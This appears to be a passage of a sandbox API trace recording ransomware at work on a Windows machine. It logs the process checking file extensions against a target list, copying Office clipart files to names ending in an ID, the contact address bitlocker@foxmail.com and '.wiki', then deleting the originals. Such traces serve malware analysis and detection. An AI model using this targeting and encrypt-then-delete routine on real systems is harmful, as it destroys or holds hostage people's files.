[0192.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.846] lstrlenW (lpString=".doc") returned 4 [0192.847] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString=".docx") returned 5 [0192.847] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0192.847] lstrlenW (lpString=".pdf") returned 4 [0192.847] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString=".xls") returned 4 [0192.847] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString=".xlsx") returned 5 [0192.847] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0192.847] lstrlenW (lpString=".ppt") returned 4 [0192.847] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.847] lstrlenW (lpString=".zip") returned 4 [0192.847] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString=".rar") returned 4 [0192.847] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString=".bz2") returned 4 [0192.847] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString=".7z") returned 3 [0192.847] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.847] lstrlenW (lpString=".dbf") returned 4 [0192.847] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.847] lstrlenW (lpString=".1cd") returned 4 [0192.847] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.847] lstrlenW (lpString=".jpg") returned 4 [0192.847] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.848] lstrlenW (lpString=".doc") returned 4 [0192.848] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString=".docx") returned 5 [0192.848] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0192.848] lstrlenW (lpString=".pdf") returned 4 [0192.848] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString=".xls") returned 4 [0192.848] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString=".xlsx") returned 5 [0192.848] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0192.848] lstrlenW (lpString=".ppt") returned 4 [0192.848] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.848] lstrlenW (lpString=".zip") returned 4 [0192.848] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString=".rar") returned 4 [0192.848] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString=".bz2") returned 4 [0192.848] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString=".7z") returned 3 [0192.848] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.848] lstrlenW (lpString=".dbf") returned 4 [0192.848] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.848] lstrlenW (lpString=".1cd") returned 4 [0192.848] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP") returned 63 [0192.848] lstrlenW (lpString=".jpg") returned 4 [0192.848] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.849] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.849] lstrlenW (lpString="J0101862.BMP") returned 12 [0192.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.849] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32184) returned 1 [0192.849] CloseHandle (hObject=0x1e0) returned 1 [0192.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0192.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.850] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.850] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.850] GetLastError () returned 0x0 [0192.850] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.869] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.870] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.870] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.870] SetEndOfFile (hFile=0x1f4) returned 1 [0192.870] CloseHandle (hObject=0x1f4) returned 1 [0192.870] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.870] SetEndOfFile (hFile=0x1e0) returned 1 [0192.871] CloseHandle (hObject=0x1e0) returned 1 [0192.871] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0192.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.872] lstrlenW (lpString=".doc") returned 4 [0192.872] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString=".docx") returned 5 [0192.872] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0192.872] lstrlenW (lpString=".pdf") returned 4 [0192.872] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString=".xls") returned 4 [0192.872] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString=".xlsx") returned 5 [0192.872] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0192.872] lstrlenW (lpString=".ppt") returned 4 [0192.872] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.872] lstrlenW (lpString=".zip") returned 4 [0192.872] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString=".rar") returned 4 [0192.872] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString=".bz2") returned 4 [0192.872] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString=".7z") returned 3 [0192.872] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.872] lstrlenW (lpString=".dbf") returned 4 [0192.872] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.872] lstrlenW (lpString=".1cd") returned 4 [0192.872] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.873] lstrlenW (lpString=".jpg") returned 4 [0192.873] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.873] lstrlenW (lpString=".doc") returned 4 [0192.873] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString=".docx") returned 5 [0192.873] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0192.873] lstrlenW (lpString=".pdf") returned 4 [0192.873] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString=".xls") returned 4 [0192.873] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString=".xlsx") returned 5 [0192.873] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0192.873] lstrlenW (lpString=".ppt") returned 4 [0192.873] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.873] lstrlenW (lpString=".zip") returned 4 [0192.873] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString=".rar") returned 4 [0192.873] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString=".bz2") returned 4 [0192.873] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.873] lstrlenW (lpString=".7z") returned 3 [0192.873] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.873] lstrlenW (lpString=".dbf") returned 4 [0192.873] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.874] lstrlenW (lpString=".1cd") returned 4 [0192.874] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP") returned 63 [0192.874] lstrlenW (lpString=".jpg") returned 4 [0192.874] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.874] lstrcmpiW (lpString1=".BMP", lpString2=".wiki") returned -1 [0192.874] lstrlenW (lpString="J0101865.BMP") returned 12 [0192.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.874] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=32184) returned 1 [0192.874] CloseHandle (hObject=0x1e0) returned 1 [0192.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 0x20 [0192.875] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.875] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.875] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.875] GetLastError () returned 0x0 [0192.875] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x7db8, lpOverlapped=0x0) returned 1 [0192.894] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0192.895] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.896] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.896] SetEndOfFile (hFile=0x1f4) returned 1 [0192.896] CloseHandle (hObject=0x1f4) returned 1 [0192.896] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.896] SetEndOfFile (hFile=0x1e0) returned 1 [0192.897] CloseHandle (hObject=0x1e0) returned 1 [0192.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101865.bmp")) returned 1 [0192.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.897] lstrlenW (lpString=".doc") returned 4 [0192.897] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.897] lstrlenW (lpString=".docx") returned 5 [0192.897] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0192.897] lstrlenW (lpString=".pdf") returned 4 [0192.897] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.897] lstrlenW (lpString=".xls") returned 4 [0192.897] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.897] lstrlenW (lpString=".xlsx") returned 5 [0192.897] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0192.897] lstrlenW (lpString=".ppt") returned 4 [0192.897] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.898] lstrlenW (lpString=".zip") returned 4 [0192.898] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString=".rar") returned 4 [0192.898] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString=".bz2") returned 4 [0192.898] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString=".7z") returned 3 [0192.898] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.898] lstrlenW (lpString=".dbf") returned 4 [0192.898] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.898] lstrlenW (lpString=".1cd") returned 4 [0192.898] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.898] lstrlenW (lpString=".jpg") returned 4 [0192.898] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.898] lstrlenW (lpString=".doc") returned 4 [0192.898] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString=".docx") returned 5 [0192.898] lstrcmpiW (lpString1=".docx", lpString2="5.BMP") returned -1 [0192.898] lstrlenW (lpString=".pdf") returned 4 [0192.898] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString=".xls") returned 4 [0192.898] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0192.898] lstrlenW (lpString=".xlsx") returned 5 [0192.898] lstrcmpiW (lpString1=".xlsx", lpString2="5.BMP") returned -1 [0192.899] lstrlenW (lpString=".ppt") returned 4 [0192.899] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0192.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.899] lstrlenW (lpString=".zip") returned 4 [0192.899] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0192.899] lstrlenW (lpString=".rar") returned 4 [0192.899] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0192.899] lstrlenW (lpString=".bz2") returned 4 [0192.899] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0192.899] lstrlenW (lpString=".7z") returned 3 [0192.899] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0192.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.899] lstrlenW (lpString=".dbf") returned 4 [0192.899] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0192.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.899] lstrlenW (lpString=".1cd") returned 4 [0192.899] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0192.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101865.BMP") returned 63 [0192.899] lstrlenW (lpString=".jpg") returned 4 [0192.899] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0192.899] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0192.899] lstrlenW (lpString="J0101980.WMF") returned 12 [0192.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.900] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=16104) returned 1 [0192.900] CloseHandle (hObject=0x1e0) returned 1 [0192.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 0x20 [0192.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0192.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0192.900] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.900] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0192.903] GetLastError () returned 0x0 [0192.903] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x3ee8, lpOverlapped=0x0) returned 1 [0192.918] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x3ef0, lpOverlapped=0x0) returned 1 [0192.919] ReadFile (in: hFile=0x1e0, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0192.919] WriteFile (in: hFile=0x1f4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0192.919] SetEndOfFile (hFile=0x1f4) returned 1 [0192.919] CloseHandle (hObject=0x1f4) returned 1 [0192.919] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0192.919] SetEndOfFile (hFile=0x1e0) returned 1 [0192.920] CloseHandle (hObject=0x1e0) returned 1 [0192.920] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0192.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0193.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF") returned 63 [0193.055] lstrlenW (lpString=".doc") returned 4 [0193.055] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0193.055] lstrlenW (lpString=".docx") returned 5 [0193.062] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0193.062] lstrlenW (lpString=".pdf") returned 4 [0193.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0193.062] lstrlenW (lpString=".xls") returned 4 [0193.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0193.070] lstrlenW (lpString=".xlsx") returned 5 